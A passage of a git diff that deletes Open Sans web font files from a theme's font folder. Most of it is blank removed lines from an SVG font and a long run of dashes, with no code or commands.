- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf deleted file mode 100644 index 7b529456..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.ttf and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff deleted file mode 100644 index 3db398c6..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2 b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2 deleted file mode 100644 index d633ec48..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700.woff2 and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot deleted file mode 100644 index 9ea9c655..00000000 Binary files a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.eot and /dev/null differ diff --git a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg b/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg deleted file mode 100644 index f49e45d1..00000000 --- a/themes/public/dist/fonts/open-sans-v15-vietnamese_latin_greek_cyrillic-ext_greek-ext_latin-ext_cyrillic-700italic.svg +++ /dev/null @@ -1,19036 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 